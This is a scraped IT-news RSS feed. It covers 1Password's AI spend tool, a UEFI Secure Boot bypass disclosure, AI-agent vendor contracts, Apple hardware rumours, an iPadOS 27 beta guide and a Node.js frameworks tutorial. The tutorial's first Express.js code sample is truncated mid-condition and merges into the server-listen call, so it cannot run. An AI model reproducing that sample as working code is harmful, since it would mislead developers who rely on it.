one important respect: it is building AI cost management on top of an identity security platform, not a FinOps or procurement tool. The company's SaaS Manager product grew out of its 2025 acquisition of Trelica, a UK-based SaaS access management startup whose technology enabled the discovery of unsanctioned applications — so-called shadow IT. As BetaKit reported at the time of that deal, 1Password co-CEO Jeff Shiner described Trelica as "a pioneer in modern SaaS access management" and said the acquisition would accelerate 1Password's Extended Access Management product roadmap by more than a year. CRN noted that Trelica brought more than 300 SaaS integrations to the platform. That identity-first lineage gives 1Password a natural advantage in connecting spend data to specific users and teams — a linkage that matters when the question shifts from "how much are we spending on AI?" to "who is spending it, and is it delivering value?"</p><h2><b>From password manager to platform company: 1Password's $6.8 billion bet on enterprise identity</b></h2><p>The launch raises a question that Henry addressed head-on: whether a company that started as a consumer password manager can credibly compete in enterprise AI cost management.</p><p>"It doesn't feel like a stretch to us. It feels like a natural progression," he said. "For more than 20 years, 1Password has evolved alongside how our customers work. We started by protecting passwords. Then we helped organizations manage secrets, control access, and get visibility into the applications their teams rely on."</p><p>The company's evolution has been rapid. 1Password raised a $620 million Series C in January 2022 led by ICONIQ Growth, <a href="https://news.crunchbase.com/venture/1password-620m-round-cybersecurity-investor/">reaching a $6.8 billion valuation</a> — at the time, the largest funding round ever raised by a Canadian company, according to Crunchbase. The round also attracted celebrity investors including Ryan Reynolds, Scarlett Johansson, and Robert Downey Jr. As of early 2025, BetaKit reported that 1Password had surpassed $250 million in annual recurring revenue, with B2B sales accounting for nearly three-quarters of total revenue and the company claiming to be cash-flow positive.</p><p>In May 2024, 1Password launched <a href="https://1password.com/extended-access-management">Extended Access Management</a>, a platform designed to secure sign-ins across both managed and unmanaged applications and devices. That same year, it acquired Kolide for device trust and, in early 2025, Trelica for SaaS discovery. In June 2026, Gartner named 1Password a Leader in its Magic Quadrant for SaaS Management Platforms. According to 1Password's own blog post on the recognition, its SaaS Manager now supports over 400 integrations and provides visibility into a library of more than 40,000 pre-populated application profiles. Each step has moved the company further from its consumer roots and deeper into enterprise infrastructure. The AI Spend and Consumption Management launch extends that trajectory into financial operations territory — a domain where 1Password will compete not only with SaaS management vendors but potentially with dedicated FinOps platforms and the AI vendors' own billing dashboards.</p><h2><b>Why high AI token consumption doesn't always mean wasted money</b></h2><p>Perhaps the most revealing part of Henry's commentary concerns what organizations should actually do with the consumption data once they have it. He pushed back forcefully against the assumption that high token consumption automatically signals waste.</p><p>"A team burning through tokens may be building something genuinely valuable," he said. "A lower-usage project might not be moving the business forward at all. What matters is whether that consumption is producing enough business value to justify the spend."</p><p>Henry drew a distinction between personal productivity — "having a bot summarize your meeting or draft a quick email" — and genuine business outcomes. "What organizations need to see is where consumption is actually driving revenue, efficiency, or something that moves the needle."</p><p>That framing positions AI Spend and Consumption Management not just as a cost-cutting tool but as a decision-support system for AI investment allocation. If a CFO can see that one engineering team's heavy Claude usage is powering a product feature that drives revenue, while another team's OpenAI spend is funding low-value internal automation, the organization can reallocate budget accordingly rather than imposing across-the-board cuts.</p><p>"When costs rise faster than expected, the instinct is to cut," Henry said. "But most organizations can't yet tell which teams, models, or tools are responsible for the increase, so they end up cutting across the board rather than directing investment toward the AI projects that are actually delivering business value. Blunt cuts on a technology you're counting on for competitive advantage is not a management strategy, it's a missed opportunity."</p><h2><b>The next enterprise budget crisis is already here — and it's priced per token</b></h2><p>The product's current scope — three vendor integrations, alerting but not enforcement — is clearly a starting point. Henry signaled that automatic spend limits are on the roadmap and that additional vendor integrations will follow based on customer demand.</p><p>But the broader trajectory he described suggests 1Password sees this launch as a wedge into a much larger opportunity. "As traditional SaaS products add AI capabilities, their pricing models are going to follow," he said. "Organizations that build visibility and management discipline around consumption now are going to be in a much better position when that happens across the rest of their software portfolio."</p><p>If Henry is right, the chaos currently confined to AI token budgets is not a temporary growing pain but a preview of how all enterprise software will eventually be priced. A decade ago, companies scrambled to understand their cloud bills. Today, they are scrambling to understand their AI bills. The question is whether the organizations building the dashboards this time around can get ahead of the curve — or whether, as Henry warned, they will end up where so many companies ended up with cloud, realizing too late how much they were overpaying, and for how long.</p><p>AI Spend and Consumption Management is <a href="https://1password.com/lp/saas-manager">available now in public preview</a> for 1Password SaaS Manager customers. Broad availability is planned for fall 2026.</p><p>
</p>]]></content:encoded>
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<title><![CDATA[11 Old Microsoft-Signed Linux UEFI Shims Could Let Attackers Bypass Secure Boot]]></title>
<description><![CDATA[Cybersecurity researchers have discovered 11 old, Microsoft-signed, Unified Extensible Firmware Interface (UEFI) applications that could be abused to bypass Secure Boot on most systems using the modern firmware standard.

"An attacker exploiting one of these vulnerable applications can execute un...]]></description>
<link>https://tsecurity.de/de/3668068/it-security-nachrichten/11-old-microsoft-signed-linux-uefi-shims-could-let-attackers-bypass-secure-boot/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3668068/it-security-nachrichten/11-old-microsoft-signed-linux-uefi-shims-could-let-attackers-bypass-secure-boot/</guid>
<pubDate>Tue, 14 Jul 2026 15:24:26 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Cybersecurity researchers have discovered 11 old, Microsoft-signed, Unified Extensible Firmware Interface (UEFI) applications that could be abused to bypass Secure Boot on most systems using the modern firmware standard.

"An attacker exploiting one of these vulnerable applications can execute untrusted code during system boot, enabling deployment of malicious UEFI bootkits or other malware,"]]></content:encoded>
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<title><![CDATA[Your service vendors are being rebuilt around AI]]></title>
<description><![CDATA[Venture-backed firms are buying up the support, finance-ops and managed-services providers enterprises rely on and re-platforming them around AI agents — and the renewal that follows arrives priced per outcome, sold as your advantage. The acquisition-built structure and unproven stability create ...]]></description>
<link>https://tsecurity.de/de/3667858/it-nachrichten/your-service-vendors-are-being-rebuilt-around-ai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3667858/it-nachrichten/your-service-vendors-are-being-rebuilt-around-ai/</guid>
<pubDate>Tue, 14 Jul 2026 14:02:49 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Venture-backed firms are buying up the support, finance-ops and managed-services providers enterprises rely on and re-platforming them around AI agents — and the renewal that follows arrives priced per outcome, sold as your advantage. The acquisition-built structure and unproven stability create governance and continuity risks your vendor process isn’t sized for. Here’s how to keep the leverage on your side of the table.</p>



<p class="wp-block-paragraph">The first time an AI-native services pitch crossed my desk, I nearly signed it. The savings were real, the agents demoed cleanly and the pricing was the kind procurement loves — per resolved case, not per seat. What I almost missed was who got to define the word “resolved.” On an earlier outsourced-support arrangement, back in my public-sector days, the vendor’s reported resolution rate looked excellent right up until we pulled the reopen numbers ourselves. Auto-closed tickets had been counted as wins. Users had quietly stopped logging issues at all. The dashboard was green; the service was not.</p>



<p class="wp-block-paragraph">That gap — between the number on the contract and what your users actually live with — is the whole game now, and it is about to scale across your portfolio. <a href="https://www.gartner.com/en/articles/hype-cycle-for-agentic-ai">Gartner’s 2026 CIO and Technology Executive Survey found only 17% of organizations have deployed AI agents, but more than 60% expect to within two years</a> — the steepest adoption curve of any emerging technology it tracks. The providers running your services are moving first, and the contracts are changing faster than most of us can govern them.</p>



<p class="wp-block-paragraph">The agents underneath these pitches are also nowhere near as reliable in production as they look in the room. <a href="https://www.gartner.com/en/newsroom/press-releases/2025-06-25-gartner-predicts-over-40-percent-of-agentic-ai-projects-will-be-canceled-by-end-of-2027">Gartner expects more than 40% of agentic AI projects to be canceled by the end of 2027</a> on cost, unclear value and weak risk controls, and reckons only about 130 of the thousands of self-described agentic vendors are the real thing — the rest are “agent washing” old chatbots and RPA. Treat any headline resolution rate the way you treat a vendor’s own uptime stats: Marketing, until you have seen it run on accounts like yours.</p>



<h2 class="wp-block-heading">What’s behind the pitch</h2>



<p class="wp-block-paragraph">The challenger’s economics aren’t magic. They come from a reshaping of the services market: Venture-backed firms buying up fragmented, labor-heavy providers — support desks, contact centers, AP and finance ops, slices of managed IT — and re-platforming them around agents. Many of the companies pitching you are not one company at all but several acquired shops stitched onto a shared AI layer. That barely comes up in the sales meeting. It matters enormously once you are the customer.</p>



<p class="wp-block-paragraph">The direction is independently corroborated, not vendor hype. <a href="https://www.everestgrp.com/blogs/outcome-based-metrics-the-new-value-currency-in-bpo/">Everest Group reports outcome-based pricing in business-process services moving from pilots to scaled adoption</a> as AI makes outcomes measurable enough to contract on, with the binding constraint now governance and verified baselines. <a href="https://www.ey.com/content/dam/ey-unified-site/ey-com/en-gl/about-us/analyst-relations/documents/ey-gl-hfs-horizons-agentic-services-2026-ey-excerpt-04-2026.pdf">HFS Research tracks the same “services-to-software” shift</a> across consulting, IT, and operations providers. Here is the part worth holding onto: Most enterprises are early, so you have a little time. But the first vendors to reprice you this way will be the small, single-source ones in the long tail of your portfolio — which, if your stack looks anything like mine, is most of it.</p>



<h2 class="wp-block-heading">Don’t assume the incumbent is the safe choice</h2>



<p class="wp-block-paragraph">And don’t kid yourself that renewing with the familiar name keeps you clear of this. The big integrators are pulling labor out of their own delivery just as fast — <a href="https://news.outsourceaccelerator.com/it-services-firms-add-thousands/">Accenture cut tens of thousands of roles and rehired against an AI-skills filter</a> — and rewriting deals around a share of savings instead of time and materials. Outcome pricing is becoming the default everywhere. There is no version of this where you sit it out.</p>



<h2 class="wp-block-heading">Two risks your vendor process won’t catch</h2>



<p class="wp-block-paragraph">The first is governance, and the roll-up structure makes it worse than the usual AI-vendor worry. The company you are contracting with isn’t one system. It is several acquired firms with different data practices and security postures, with an AI layer dropped on top at speed. Your customer records, invoices and support transcripts flow into agents whose decisions you often can’t trace, across entities that were never built to one standard. The numbers here aren’t comforting: <a href="https://www.ibm.com/reports/data-breach">IBM’s 2025 Cost of a Data Breach Report found 63% of breached organizations had no AI governance policy at all, and 97% of those that suffered an AI-related breach lacked basic AI access controls</a> — AI adoption, IBM concluded, is outpacing both security and governance. When an agent botches a dispute or misroutes regulated data, the regulator and the customer come looking for you, not the platform. And here is the organizational trap: The savings line is what your CFO signs; the provenance question is the one your audit committee won’t ask until after the incident. Nobody raises it for you.</p>



<p class="wp-block-paragraph">The second is whether the provider will still be standing in three years. These platforms are new, built by acquisition, venture-funded and not one has run through a full contract term or a real downturn. With <a href="https://www.gartner.com/en/newsroom/press-releases/2025-06-25-gartner-predicts-over-40-percent-of-agentic-ai-projects-will-be-canceled-by-end-of-2027">Gartner expecting more than 40% of agentic AI projects to be canceled by 2027</a>, putting core operations on a young, agent-dependent vendor is a single point of failure dressed up as innovation. Write the exit and data-portability terms before you sign — while you still have leverage to.</p>



<h2 class="wp-block-heading">Six questions for the renewal</h2>



<p class="wp-block-paragraph">When the challenger shows up — or your incumbent reprices to match — these are the questions I would put on the table. They come down to one thing: Making sure you, not the vendor, own the number.</p>



<ol start="1" class="wp-block-list">
<li><strong>Definition, baseline, guardrails. </strong>Make “resolved” mean what your users experience, measured against a baseline you have captured yourself, and tie it to metrics you own — first-contact resolution, reopen rate, time-to-resolution. Expect procurement to resist because pinning this down slows the deal. Hold the line; it is the whole ballgame.</li>



<li><strong>Real agent, or agent washing. </strong>Gartner reckons only a sliver of self-described agentic vendors are the genuine article. Make them prove it: Production resolution on accounts like yours, and the human-escalation rate sitting behind that number. Not a demo.</li>



<li><strong>Auditability, as a gate. </strong>SOC 2 at minimum, increasingly ISO 42001 or NIST AI RMF alignment, plus model cards, decision logs and an incident-response plan they have actually tested. If they can’t show how data is walled off between their acquired entities, or how an agent’s decision gets traced, they aren’t ready for anything regulated. This belongs in the shortlist criteria, not the post-mortem.</li>



<li><strong>Where autonomy stops. </strong>Decide which actions an agent can take alone and which need a human, how it hands off with context and who is accountable when it acts on its own. Put names against it before go-live.</li>



<li><strong>The exit. </strong>An embedded agent platform gets stickier than the staffed incumbent it replaced, faster than you would think. Lock down data portability, knowledge-base ownership and a way out while you are still the one with leverage.</li>



<li><strong>Capacity, not just cost. </strong>The best outcome here often isn’t a smaller bill. It is the demand that your old service levels were quietly turning away. Nobody answered the tickets. The cases that aged out. Ask what fixing that is worth before you optimize purely for headcount.</li>
</ol>



<h2 class="wp-block-heading">The move</h2>



<p class="wp-block-paragraph">Outcome pricing is where this lands, and on balance, that is progress. But in the near term, it hands the advantage to whoever can measure the outcome — and in most shops, that isn’t the buyer. The edge isn’t picking the cleverest challenger or the safest incumbent. It is being able to hold any of them to a result, on your numbers. Look again at why Gartner thinks so many of these projects die: Not the technology — cost, fuzzy value, weak controls. Our side of the table. So, start there. Take one high-volume, measurable workflow, pilot it against a baseline you own, instrument it with your own metrics, and treat the muscle you build doing that as the real deliverable. Get it right and the pricing model stops mattering. Skip it, and you have just agreed to pay for someone else’s definition of done.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Apple M7 Ultra Could Support Up to 1.5TB of Unified Memory]]></title>
<description><![CDATA[Apple reportedly plans to skip the M6 Ultra and move directly from the M5 Ultra to the M7 Ultra, with the newer chip expected to…
The post Apple M7 Ultra Could Support Up to 1.5TB of Unified Memory appeared first on OnMSFT.]]></description>
<link>https://tsecurity.de/de/3667074/windows-tipps/apple-m7-ultra-could-support-up-to-15tb-of-unified-memory/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3667074/windows-tipps/apple-m7-ultra-could-support-up-to-15tb-of-unified-memory/</guid>
<pubDate>Tue, 14 Jul 2026 08:55:43 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Apple reportedly plans to skip the M6 Ultra and move directly from the M5 Ultra to the M7 Ultra, with the newer chip expected to…</p>
<p>The post <a href="https://onmsft.com/news/apple-m7-ultra-could-support-up-to-1-5tb-of-unified-memory/">Apple M7 Ultra Could Support Up to 1.5TB of Unified Memory</a> appeared first on <a href="https://onmsft.com/">OnMSFT</a>.</p>]]></content:encoded>
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<title><![CDATA[/r/ReverseEngineering's Weekly Questions Thread]]></title>
<description><![CDATA[To reduce the amount of noise from questions, we have disabled self-posts in favor of a unified questions thread every week. Feel free to ask any question about reverse engineering here. If your question is about how to use a specific tool, or is specific to some particular target, you will have ...]]></description>
<link>https://tsecurity.de/de/3666728/reverse-engineering/rreverseengineerings-weekly-questions-thread/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3666728/reverse-engineering/rreverseengineerings-weekly-questions-thread/</guid>
<pubDate>Tue, 14 Jul 2026 04:54:01 +0200</pubDate>
<category>🕵️ Reverse Engineering</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>To reduce the amount of noise from questions, we have disabled self-posts in favor of a unified questions thread every week. Feel free to ask any question about reverse engineering here. If your question is about how to use a specific tool, or is specific to some particular target, you will have better luck on the <a href="http://reverseengineering.stackexchange.com/">Reverse Engineering StackExchange</a>. See also <a href="https://www.reddit.com/r/AskReverseEngineering">/r/AskReverseEngineering</a>.</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/AutoModerator"> /u/AutoModerator </a> <br> <span><a href="https://www.reddit.com/r/ReverseEngineering/comments/1uv43y3/rreverseengineerings_weekly_questions_thread/">[link]</a></span>   <span><a href="https://www.reddit.com/r/ReverseEngineering/comments/1uv43y3/rreverseengineerings_weekly_questions_thread/">[comments]</a></span>]]></content:encoded>
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<title><![CDATA[Apple Rolls Out iPadOS 27 Public Beta: How to Install and What’s New]]></title>
<description><![CDATA[Apple has released the first iPadOS 27 public beta, giving iPad users an early look at Siri AI, faster system performance, new Apple Intelligence tools, improved parental controls, and several useful app upgrades. The public beta is free, but users should create a backup before installing it beca...]]></description>
<link>https://tsecurity.de/de/3666614/ios-mac-os/apple-rolls-out-ipados-27-public-beta-how-to-install-and-whats-new/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3666614/ios-mac-os/apple-rolls-out-ipados-27-public-beta-how-to-install-and-whats-new/</guid>
<pubDate>Tue, 14 Jul 2026 02:08:29 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple has released the first iPadOS 27 public beta, giving iPad users an early look at Siri AI, faster system performance, new Apple Intelligence tools, improved parental controls, and several useful app upgrades. The public beta is free, but users should create a backup before installing it because early software can contain bugs and affect battery life.



How to Install the iPadOS 27 Public Beta



Before updating, back up your iPad through iCloud or a Mac or PC. Apple also recommends testing beta software on a secondary device whenever possible.




Visit the Apple Beta Software Program website.



Select Sign Up or Sign In.



Use the same Apple Account connected to your iPad.



Accept the program terms and enrol your device.



Open Settings on your iPad.



Go to General &gt; Software Update &gt; Beta Updates.



Select iPadOS 27 Public Beta.



Return to the Software Update page and tap Update Now.




The first public beta matches the revised third developer beta released on July 13. Apple’s beta program is free and includes the Feedback Assistant app for reporting problems.



Everything New in the iPadOS 27 Public Beta




Siri AI: Apple’s redesigned assistant supports natural conversations, follow-up questions, personal context, onscreen awareness, web searches, and actions across supported apps. A dedicated Siri app stores conversations and lets users continue chats across Apple devices. Siri AI requires an iPad with an M1 chip or newer, or an iPad mini with the A17 Pro chip.



Write with Siri: Siri can create drafts, improve existing text, and offer feedback in apps where users type. In Mail and Messages, it can also match the user’s writing style, punctuation, and tone.



Visual Intelligence on iPad: Users can ask questions about anything displayed on the screen. They can tap an object with a finger or circle it using Apple Pencil to search for more information or take an action.



Smarter Notes tools: Siri can work with typed and handwritten notes. It can organise bullet points, create an agenda, summarise information, or turn handwritten lecture notes into a study guide.



Apple Intelligence in apps: Photos, Safari, Messages, Calendar, Shortcuts, and other Apple apps receive new AI features. Photos adds improved editing tools, while Safari can organise tabs and help users find information more quickly.



Faster system performance: Apple has improved memory use, CPU scheduling, search, display rendering, and system responsiveness. Files should also handle large folders and external drives more efficiently, especially on newer iPad Pro models.



Liquid Glass improvements: iPadOS 27 refines the Liquid Glass design introduced with iPadOS 26. Updated controls, clearer backgrounds, stronger visual separation, and improved icon details should make the interface easier to read.



New child safety controls: Parents receive a redesigned dashboard for checking device activity and changing access quickly. Ask to Browse lets children request permission before opening restricted websites, while contact approval controls cover communication with new people.



Improved Shared Albums: Friends and family using Android or Windows can join albums and upload pictures through iCloud.com. Shared Albums also support full-resolution photos, reactions, filters, and additional invitation options.



Smarter Home features: Apple Intelligence can group related security camera notifications, describe recorded activity, and search clips using natural language. Compatible HomeKit Secure Video cameras can also stream and record in 4K with an eligible iCloud+ plan.




iPadOS 27 Compatible Devices



The iPadOS 27 public beta supports the following models:




iPad Pro 12.9-inch, 4th generation and newer



iPad Pro 11-inch, 2nd generation and newer



iPad Air, 4th generation and newer



iPad, 9th generation and newer



iPad mini, 6th generation and newer




However, Siri AI and other Apple Intelligence features require an iPad with an M1 chip or later, or the iPad mini with A17 Pro. Some advanced voice features require an M4 iPad with at least 12GB of unified memory.



Apple will continue updating the iPadOS 27 beta throughout the summer before releasing the final version later this year. Since this remains early software, users may experience app crashes, reduced battery life, heating, or compatibility problems.



If you’ve already installed the update, let us know your experience in the comments.]]></content:encoded>
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<title><![CDATA[Load Balancing in vSphere 9.0 and VMware Cloud Foundation 9.0]]></title>
<description><![CDATA[If you’re managing Kubernetes alongside traditional virtual machines, vSphere Supervisor in vSphere 9.0 and VMware Cloud Foundation (VCF) 9.0 serves as your unified control plane. But when it comes to setting up the infrastructure, one question always comes up from teams designing these environme...]]></description>
<link>https://tsecurity.de/de/3666562/downloads/load-balancing-in-vsphere-90-and-vmware-cloud-foundation-90/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3666562/downloads/load-balancing-in-vsphere-90-and-vmware-cloud-foundation-90/</guid>
<pubDate>Tue, 14 Jul 2026 01:01:36 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><img width="300" height="154" src="https://blogs.vmware.com/cloud-foundation/wp-content/uploads/sites/75/2026/07/Networking-DataCenter.jpeg?w=300" class="attachment-medium size-medium wp-post-image" alt="" decoding="async" srcset="https://blogs.vmware.com/cloud-foundation/wp-content/uploads/sites/75/2026/07/Networking-DataCenter.jpeg 441w, https://blogs.vmware.com/cloud-foundation/wp-content/uploads/sites/75/2026/07/Networking-DataCenter.jpeg?resize=300,154 300w" sizes="(max-width: 300px) 100vw, 300px"></div>
<p>If you’re managing Kubernetes alongside traditional virtual machines, vSphere Supervisor in vSphere 9.0 and VMware Cloud Foundation (VCF) 9.0 serves as your unified control plane. But when it comes to setting up the infrastructure, one question always comes up from teams designing these environments:  “Which load balancers are supported, and how do I choose the … <a href="https://blogs.vmware.com/cloud-foundation/2026/07/13/choosing-the-right-load-balancer-for-vsphere-supervisor-in-vsphere-9-0-and-vmware-cloud-foundation-9-0/">Continued</a></p>
<p>The post <a href="https://blogs.vmware.com/cloud-foundation/2026/07/13/choosing-the-right-load-balancer-for-vsphere-supervisor-in-vsphere-9-0-and-vmware-cloud-foundation-9-0/">Load Balancing in vSphere 9.0 and VMware Cloud Foundation 9.0</a> appeared first on <a href="https://blogs.vmware.com/cloud-foundation">VMware Cloud Foundation (VCF) Blog</a>.</p>]]></content:encoded>
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<title><![CDATA[Apple Reportedly Accelerates M7 Chips for Major AI Upgrade]]></title>
<description><![CDATA[Apple may skip high-end M6 chips and accelerate the M7 Ultra, reportedly targeting stronger AI performance and up to 1.5TB of unified memory.]]></description>
<link>https://tsecurity.de/de/3666165/it-nachrichten/apple-reportedly-accelerates-m7-chips-for-major-ai-upgrade/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3666165/it-nachrichten/apple-reportedly-accelerates-m7-chips-for-major-ai-upgrade/</guid>
<pubDate>Mon, 13 Jul 2026 20:47:41 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple may skip high-end M6 chips and accelerate the M7 Ultra, reportedly targeting stronger AI performance and up to 1.5TB of unified memory.]]></content:encoded>
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<title><![CDATA[How Apple could fix a major Mac Studio memory problem]]></title>
<description><![CDATA[Apple's rumored M5 Ultra and M7 Ultra chips could dramatically expand the Mac Studio's unified memory. Here's why that's important for pros.
(via Cult of Mac - Your source for the latest Apple news, rumors, analysis, reviews, how-tos and deals.)]]></description>
<link>https://tsecurity.de/de/3666140/ios-mac-os/how-apple-could-fix-a-major-mac-studio-memory-problem/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3666140/ios-mac-os/how-apple-could-fix-a-major-mac-studio-memory-problem/</guid>
<pubDate>Mon, 13 Jul 2026 20:23:59 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><img width="780" height="439" src="https://www.cultofmac.com/wp-content/uploads/2026/07/Apple-M5-Ultra-M7-Ultra.jpg.webp" class="attachment-large size-large wp-post-image" alt="Pros should pin their hopes on Apple M5 Ultra and M7 Ultraz" decoding="async" fetchpriority="high" srcset="https://www.cultofmac.com/wp-content/uploads/2026/07/Apple-M5-Ultra-M7-Ultra.jpg.webp 1390w, https://www.cultofmac.com/wp-content/uploads/2026/07/Apple-M5-Ultra-M7-Ultra-400x225.jpg 400w, https://www.cultofmac.com/wp-content/uploads/2026/07/Apple-M5-Ultra-M7-Ultra-350x197.jpg 350w, https://www.cultofmac.com/wp-content/uploads/2026/07/Apple-M5-Ultra-M7-Ultra-768x432.jpg.webp 768w, https://www.cultofmac.com/wp-content/uploads/2026/07/Apple-M5-Ultra-M7-Ultra-1020x574.jpg.webp 1020w, https://www.cultofmac.com/wp-content/uploads/2026/07/Apple-M5-Ultra-M7-Ultra-400x225@2x.jpg 800w" sizes="(max-width: 780px) 100vw, 780px"></div>
<p>Apple's rumored M5 Ultra and M7 Ultra chips could dramatically expand the Mac Studio's unified memory. Here's why that's important for pros.</p>
<p>(via <a href="https://www.cultofmac.com/">Cult of Mac - Your source for the latest Apple news, rumors, analysis, reviews, how-tos and deals.</a>)</p>]]></content:encoded>
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<title><![CDATA[Building an agentic AI solution at Bluesight with Amazon Bedrock]]></title>
<description><![CDATA[In this post, we describe how Bluesight used two AWS engagements and Amazon Bedrock AgentCore to evolve from a single-product AI prototype to Prism, a unified agentic AI solution spanning six healthcare compliance products. Prism Assistant for ControlCheck launched in May 2026 and is already in u...]]></description>
<link>https://tsecurity.de/de/3666072/ai-nachrichten/building-an-agentic-ai-solution-at-bluesight-with-amazon-bedrock/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3666072/ai-nachrichten/building-an-agentic-ai-solution-at-bluesight-with-amazon-bedrock/</guid>
<pubDate>Mon, 13 Jul 2026 19:47:51 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[In this post, we describe how Bluesight used two AWS engagements and Amazon Bedrock AgentCore to evolve from a single-product AI prototype to Prism, a unified agentic AI solution spanning six healthcare compliance products. Prism Assistant for ControlCheck launched in May 2026 and is already in use by 20 health systems. A more complex multi-product agentic solution is on track for later in 2026.]]></content:encoded>
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<title><![CDATA[The complete guide to Node.js frameworks]]></title>
<description><![CDATA[Node.js is one of the most popular server-side platforms, especially for web applications. It gives you non-blocking JavaScript without a browser, plus an enormous ecosystem. That ecosystem is one of Node’s chief strengths, making it a go-to option for server development.



This article is a qui...]]></description>
<link>https://tsecurity.de/de/3665672/ai-nachrichten/the-complete-guide-to-nodejs-frameworks/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3665672/ai-nachrichten/the-complete-guide-to-nodejs-frameworks/</guid>
<pubDate>Mon, 13 Jul 2026 17:04:36 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/2254485/what-is-nodejs-javascript-runtime-explained.html">Node.js</a> is one of the most popular server-side platforms, especially for web applications. It gives you non-blocking JavaScript without a browser, plus an enormous ecosystem. That ecosystem is one of Node’s chief strengths, making it a go-to option for server development.</p>



<p class="wp-block-paragraph">This article is a quick tour of the most popular web frameworks for <a href="https://www.infoworld.com/article/2257958/nodejs-tutorial-get-started-with-nodejs.html">server development on Node.js</a>. We’ll look at minimalist tools like Express.js, batteries-included frameworks like Nest.js, and full-stack frameworks like Next.js. You’ll get an overview of the frameworks and a taste of what it’s like to write a simple server application in each one.</p>



<h2 class="wp-block-heading">Minimalist web frameworks</h2>



<p class="wp-block-paragraph">When it comes to Node web frameworks, <em>minimalist</em> doesn’t mean limited. Instead, these frameworks provide the essential features required to do the job for which they are intended. The frameworks in this list also tend to be highly extensible, so you can customize them as needed. With minimalist frameworks, pluggable extensibility is the name of the game.</p>



<h3 class="wp-block-heading">Express.js</h3>



<p class="wp-block-paragraph">At over 47 million weekly downloads on npm, Express is one of the most-installed software packages of all time—and for good reason. Express gives you basic web endpoint routing and request-and-response handling inside an extensible framework that is easy to understand. Most other frameworks in this category have adopted the basic style of describing a route from Express. This framework is the obvious choice when you simply need to create some routes for HTTP, and you don’t mind a DIY approach for anything extra.</p>



<p class="wp-block-paragraph">Despite its simplicity, Express is fully-featured when it comes to things like route parameters and request handling. Here is a simple Express endpoint that returns a dog breed based on an ID:</p>



<pre class="wp-block-code"><code>import express from 'express';

const app = express();
const port = 3000;

// In-memory array of dog breeds
const dogBreeds = [
  "Shih Tzu",
  "Great Pyrenees",
  "Tibetan Mastiff",
  "Australian Shepherd"
];
app.get('/dogs/:id', (req, res) =&gt; {
  // Convert the id from a string to an integer
  const id = parseInt(req.params.id, 10);

  // Check if the id is a valid number and within the array bounds
  if (id &gt;= 0 &amp;&amp; id  {
  console.log(`Server running at http://localhost:${port}`);
});</code></pre>



<p class="wp-block-paragraph">You can easily see how the route is defined here: a string representation of a URL, followed by a function that receives a request and response object. The process of creating the server and listening on a port is simple.</p>



<p class="wp-block-paragraph">If you are coming from a framework like Next, the biggest thing you might notice about Express is that it lacks a file-system based router. On the other hand, it offers a huge range of <a href="https://expressjs.com/en/resources/middleware.html">middleware plugins</a> to help with essential functions like security.</p>



<h3 class="wp-block-heading">Koa</h3>



<p class="wp-block-paragraph"><a href="https://koajs.com/">Koa</a> was created by the original creators of Espress, who took the lessons learned from that project and used them for a fresh take on the JavaScript server. Koa’s focus is providing a minimalist core engine. It uses <code>async</code>/<code>await</code> functions for middleware rather than chaining with <code>next()</code> calls. This can give you a cleaner server, especially when there are many plugins. It also makes the error handling less clunky for middleware.</p>



<p class="wp-block-paragraph">Koa also differs from Express by exposing a unified context object instead of separate request and response objects, which makes for a somewhat less cluttered API. Here is how Koa manages the same route we created in Express:</p>



<pre class="wp-block-code"><code>router.get('/dogs/:id', (ctx) =&gt; {
  const id = parseInt(ctx.params.id, 10);

  if (id &gt;= 0 &amp;&amp; id &lt; dogBreeds.length) {
    ctx.status = 200;
    ctx.body = { breed: dogBreeds[id] };
  } else {
    ctx.status = 404;
    ctx.body = { error: 'Dog breed not found' };
  }
});</code></pre>



<p class="wp-block-paragraph">The only real difference is the combined context object.</p>



<p class="wp-block-paragraph">Koa’s middleware mechanism is also worth a look. Here’s a simple logging plugin in Koa:</p>



<pre class="wp-block-code"><code>const logger = async (ctx, next) =&gt; {
  await next(); // This passes control to the router
  console.log(`${ctx.method} ${ctx.url} - ${ctx.status}`);
};

// Use the logger middleware for all requests
app.use(logger);	</code></pre>



